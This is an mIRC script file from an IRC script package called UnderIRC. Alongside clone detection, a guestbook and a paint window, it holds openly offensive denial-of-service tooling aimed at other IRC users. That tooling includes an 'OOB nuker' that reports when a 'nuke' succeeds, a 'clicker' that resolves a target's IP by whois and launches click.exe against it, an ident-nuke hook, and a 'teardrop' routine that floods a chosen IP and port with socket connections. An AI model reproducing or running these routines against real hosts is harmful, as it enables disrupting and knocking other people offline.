UnderIRC — File Browser
UnderIRCv1.0 / UnderIRCv1.0 / Under / System / script1.ini
script1.ini — 9.9 KB — Download this file
[script]
n0=#detect on
n1=on @1:JOIN:#:/.auser 2 *!*@ $+ $site
n2=on @1:KICK:#:/.ruser 2 $knick 2
n3=on @+2:PART:#:/.ruser 2 *!*@ $+ $site
n4=on @+2:QUIT:/.ruser 2 *!*@ $+ $site
n5=on @+2:JOIN:# { /echo 10 -a POSSiBLE CLONEs FROM $site DETECTEd! | set %banned $site | who * $+ %banned | .timer74 1 20 unset %banned | /splay $mircdirwavs\alert.wav }
n6=#detect end
n7=#autosend off
n8=if ((%autotext == $null) || (%autofile == $null)) { /echo -a 5 % ERROR: YOU NEEd TO SET A TEXT ANd A FiLE }
n9=on 1:TEXT: $+ %autotext $+ :*:/dcc send $nick %autofile
n10=#autosend end
n11=alias cidos {
n12= if ($1 == on) { socklisten ident 113 | echo 10 -a iDENT REQUEST PROTECTiON: ON | /set %idrequest ON }
n13= if ($1 == off) { sockclose ident | echo 10 -a iDENT REQUEST PROTECTiON: OFF | /set %idrequest OFF }
n14=}
n15=on 1:socklisten:ident: {
n16= if ($sockerr > 0) return
n17= if ($sockerr > 0) return
n18= sockaccept $sockname $+ $rand(1,10000)
n19=}
n20=on 1:sockclose:ident*: {
n21= if ($sockerr > 0) return
n22= echo 12 -a YOU'VE bEEN ATTACkEd. bY $sock($sockname).iP
n23= splay $mircdir\wavs\alert.wav
n24=}
n25=------------------------
n26=on 1:sockopen:OOBK*: {
n27= if ($sockerr > 0) { /uecho OOB NUkER: Error Connecting [ $+ $sock($sockname).ip $+ ] | halt }
n28= sockwrite -tn $sockname Â
n29= /uecho OOB NUkER: Connection Established [ $+ $sock($sockname).ip $+ ]
n30= if (%WT.check == $null) { set %WT.check off }
n31= if (%WT.check != on) { halt }
n32= /uecho OOB NUkER: Will Check connection in 15 seconds [ $+ $sock($sockname).ip $+ ]
n33= .timer 1 15 sockopen OOBC $+ $rand(1,100000) $sock($sockname).ip $sock($sockname).port
n34= sockclose $sockname
n35=}
n36=on 1:sockopen:OOBC*: {
n37= if ($sockerr > 0) { /uecho OOB NUkER: Nuke Successful [ $+ $sock($sockname).ip $+ ] | halt }
n38= /uecho OOB NUkER: Nuke Unsuccessful [ $+ $sock($sockname).ip $+ ] | sockclose $sockname
n39=}
n40=#click off
n41=raw 401:*: set %Nuke.Alive 0 | halt
n42=raw 301:*: halt
n43=raw 311:*: set %Nuke.Ip $4 | halt
n44=raw 312:*: set %Nuke.Server $3 | halt
n45=raw 313:*: halt
n46=raw 317:*: halt
n47=raw 319:*: halt
n48=raw 318:*: {
n49= if (%nuke.Alive == 0) { error CANNOT PROCEEd TO CLiCk! %Nuke.Nick iS NOT ON IRC! ChECk ThE NiCk ANd TRY AGAiN. | unset %nuke.* | .disable #click | halt }
n50= .disable #click
n51= run $mircdir\cp\click.exe %nuke.server %Nuke.IP -clp %nuke.clp -chp %nuke.chp -sp %nuke.sp -ports %nuke.ports %nuke.side
n52= echo 4 -s «% UnderIRC CLiCkER % $+ »
n53= echo 4 -s % $+ TARGET: %Nuke.Nick $+ [ $+ %Nuke.IP $+ ]
n54= echo 4 -s % $+ SERVER: %Nuke.Server
n55= echo 4 -s % $+ ICMP TO: %Nuke.Side SidE
n56= echo 4 -s % $+ SERVER PORTs: %nuke.sp
n57= echo 4 -s % $+ CLiENT PORTs: %nuke.clp - %nuke.chp
n58= echo 4 -s % $+ P.P.S.: %nuke.ports
n59= unset %nuke.* | halt
n60=}
n61=#click end
n62=on 1:dns:{
n63= if (%identnuke == on) { %nuke-ip = $raddress | %port = 113 | /+identnuke | unset %identnuke | halt }
n64=}
n65=on 1:sockopen:dnd*:{
n66= if ($sockerr > 0) { aline @dnd 2 $sock($sockname).ip :REFUSEd: | /unset %oob | /unset %oobnick }
n67= else { aline @dnd 4 $sock($sockname).ip :CONNECTEd: | /unset %oob | /unset %oobnick }
n68=}
n69=on 1:sockclose:dnd*:{
n70= if ($sockerr > 0) { aline @dnd 7DiSCONNECTEd!: $sock($sockname).ip "USER HAS IDENTD OFF"
n71= else { aline @ddnd 7DiSCONNECTEd: $sock($sockname).ip } }
n72=}
n73=-------------
n74=#gbook off
n75=on 1:TEXT:!sign*:*:write $mircdir\txts\signings.txt $date $atime « $+ $nick $+ » $2- | .notice $nick 4 ThANkz FOR SiGNiNG MY GUESTbOOk $nick $+ ! TYPE !view TO RECEiVE iT's ENTRiEs.
n76=on 1:TEXT:!view:*:dcc send $nick $mircdir\txts\signings.txt
n77=#gbook end
n78=---------- paint ----------
n79=alias paint {
n80= window -arpl9 +tb @Paint 10 10 500 350 @Paint
n81= drawrect @Paint 1 1 1 1 15 15
n82= drawrect -f @Paint 1 1 1 18 15 15
n83= drawrect -f @Paint 2 1 1 35 15 15
n84= drawrect -f @Paint 3 1 1 52 15 15
n85= drawrect -f @Paint 4 1 1 69 15 15
n86= drawrect -f @Paint 5 1 1 86 15 15
n87= drawrect -f @Paint 6 1 1 103 15 15
n88= drawrect -f @Paint 7 1 1 120 15 15
n89= drawrect -f @Paint 8 1 1 137 15 15
n90= drawrect -f @Paint 9 1 1 154 15 15
n91= drawrect -f @Paint 10 1 1 171 15 15
n92= drawrect -f @Paint 11 1 1 188 15 15
n93= drawrect -f @Paint 12 1 1 205 15 15
n94= drawrect -f @Paint 13 1 1 222 15 15
n95= drawrect -f @Paint 14 1 1 239 15 15
n96= drawrect -f @Paint 15 1 1 256 15 15
n97= drawline @Paint 1 1 18 0 18 349
n98= aline -l @Paint BRUSH
n99= aline -l @Paint LiNE
n100= aline -l @Paint ERASER
n101= aline -l @Paint BUCKET
n102= aline -l @Paint TEXT
n103= aline -l @Paint COLOR: 1#
n104= set %paint.color 1
n105= set %paint.colorrgb 0
n106= set %paint.brushsize 2
n107=}
n108=menu @paint {
n109= mouse:{
n110= if $sline(@Paint,1) == BRUSH && ($mouse.key & 1) && ($calc($mouse.x - %paint.brushsize) > 18) {
n111= drawdot @Paint %paint.color %paint.brushsize $mouse.x $mouse.y
n112= }
n113= elseif $sline(@Paint,1) == ERASER && ($mouse.key & 1) && ($calc($mouse.x - %paint.brushsize) > 18) {
n114= drawdot @Paint 0 %paint.brushsize $mouse.x $mouse.y
n115= }
n116= else { }
n117= }
n118= sclick:{
n119= ; echo single click at $mouse.x $mouse.y
n120= if ($mouse.x > 18) {
n121= if $sline(@Paint,1) == BRUSH {
n122= }
n123= elseif $sline(@Paint,1) == LiNE {
n124= set %linestart $mouse.x $mouse.y
n125= }
n126= elseif $sline(@Paint,1) == BUCKET {
n127= drawfill -sr @Paint %paint.colorrgb $getdot(@Paint,$mouse.x,$mouse.y) $mouse.x $mouse.y
n128= }
n129= elseif $sline(@Paint,1) == TEXT {
n130= drawtext -c @Paint %paint.color $mouse.x $mouse.y 500 350 $$?="ENTER TEXT:"
n131= }
n132= else { }
n133= }
n134= elseif $inrect($mouse.x,$mouse.y,1,1,15,15) == $true { color 6 0 | crgb 16777215 }
n135= elseif $inrect($mouse.x,$mouse.y,1,18,15,15) == $true { color 6 1 | crgb 0 }
n136= elseif $inrect($mouse.x,$mouse.y,1,35,15,15) == $true { color 6 2 | crgb 7864320 }
n137= elseif $inrect($mouse.x,$mouse.y,1,52,15,15) == $true { color 6 3 | crgb 36864 }
n138= elseif $inrect($mouse.x,$mouse.y,1,69,15,15) == $true { color 6 4 | crgb 248 }
n139= elseif $inrect($mouse.x,$mouse.y,1,86,15,15) == $true { color 6 5 | crgb 120 }
n140= elseif $inrect($mouse.x,$mouse.y,1,103,15,15) == $true { color 6 6 | crgb 9961624 }
n141= elseif $inrect($mouse.x,$mouse.y,1,120,15,15) == $true { color 6 7 | crgb 31992 }
n142= elseif $inrect($mouse.x,$mouse.y,1,137,15,15) == $true { color 6 8 | crgb 64760 }
n143= elseif $inrect($mouse.x,$mouse.y,1,154,15,15) == $true { color 6 9 | crgb 64512 }
n144= elseif $inrect($mouse.x,$mouse.y,1,171,15,15) == $true { color 6 10 | crgb 9474048 }
n145= elseif $inrect($mouse.x,$mouse.y,1,188,15,15) == $true { color 6 11 | crgb 16317440 }
n146= elseif $inrect($mouse.x,$mouse.y,1,205,15,15) == $true { color 6 12 | crgb 16252928 }
n147= elseif $inrect($mouse.x,$mouse.y,1,222,15,15) == $true { color 6 13 | crgb 16253176 }
n148= elseif $inrect($mouse.x,$mouse.y,1,239,15,15) == $true { color 6 14 | crgb 7896184 }
n149= elseif $inrect($mouse.x,$mouse.y,1,256,15,15) == $true { color 6 15 | crgb 13684944 }
n150= }
n151= ; dclick:echo double click at $mouse.x $mouse.y
n152= drop:{
n153= ; echo drag and drop at $mouse.x $mouse.y
n154= if $sline(@Paint,1) == LiNE && ($calc($mouse.x - %paint.brushsize) > 18) {
n155= drawline @Paint %paint.color %paint.brushsize %linestart $mouse.x $mouse.y
n156= unset %linestart
n157= }
n158= elseif $sline(@Paint,1) == BRUSH {
n159= }
n160= elseif $sline(@Paint,1) == ERASER {
n161= }
n162= }
n163= NEW PAGE
n164= .WHiTE:drawrect -f @Paint 0 1 19 0 500 350 | drawline @Paint 1 1 18 0 18 349
n165= .BLACK:drawrect -f @Paint 1 1 19 0 500 350 | drawline @Paint 1 1 18 0 18 349
n166= BRUSH SiZE
n167= .POiNT %paint.brushsize:{}
n168= .-
n169= .1 POiNT: { set %paint.brushsize 1 }
n170= .2 POiNT: { set %paint.brushsize 2 }
n171= .3 POiNT: { set %paint.brushsize 3 }
n172= .4 POiNT: { set %paint.brushsize 4 }
n173= .5 POiNT: { set %paint.brushsize 5 }
n174= .-
n175= .CUSTOM: {
n176= if $$?="ENTER A NUMBER FROM 1-50" > 50 { halt }
n177= else {
n178= set %paint.brushsize $!
n179= }
n180= }
n181= -
n182= CLEAR:/drawrect -f @Paint 0 1 19 0 500 350
n183= -
n184= QUiT:/window -c @Paint
n185=}
n186=alias -l color { /rline -l @Paint $$1 COLOR: $+ $$2# | /set %paint.color $$2 }
n187=alias -l crgb { /set %paint.colorrgb $$1 }
n188=--------------
n189=alias teardrop {
n190= set %teardrop.ip $?="IP:"
n191= set %teardrop.port $?="PORT:"
n192= window @TEARDROP 200 75 400 300
n193= sockopen teardrop %teardrop.ip %teardrop.port
n194= aline @teardrop -- TEARdROPPiNG %teardrop.ip ON PORT %teardrop.port
n195=}
n196=on 1:sockopen:teardrop {
n197= sockwrite teardrop $rand(a,z) $+ $rand(A,Z) $+ $rand(1,100) $+ $rand(1,10) $+ $rand(1,1000) $+ $rand(a,d)
n198= sockclose teardrop
n199= sockopen teardrop %teardrop.ip %teardrop.port
n200= sockwrite teardrop $rand(a,z) $+ $rand(A,Z) $+ $rand(1,100) $+ $rand(1,10) $+ $rand(1,1000) $+ $rand(a,d)
n201= sockclose teardrop
n202= sockopen teardrop %teardrop.ip %teardrop.port
n203= sockwrite teardrop $rand(a,z) $+ $rand(A,Z) $+ $rand(1,100) $+ $rand(1,10) $+ $rand(1,1000) $+ $rand(a,d)
n204= sockclose teardrop
n205= sockopen teardrop %teardrop.ip %teardrop.port
n206= sockwrite teardrop $rand(a,z) $+ $rand(A,Z) $+ $rand(1,100) $+ $rand(1,10) $+ $rand(1,1000) $+ $rand(a,d)
n207= sockclose teardrop
n208= sockopen teardrop %teardrop.ip %teardrop.port
n209= sockwrite teardrop $rand(a,z) $+ $rand(A,Z) $+ $rand(1,100) $+ $rand(1,10) $+ $rand(1,1000) $+ $rand(a,d)
n210= sockclose teardrop
n211= aline @teardrop -- %teardrop.ip HAS BEEN TEARdROPPEd ON PORT %teardrop.port
n212=}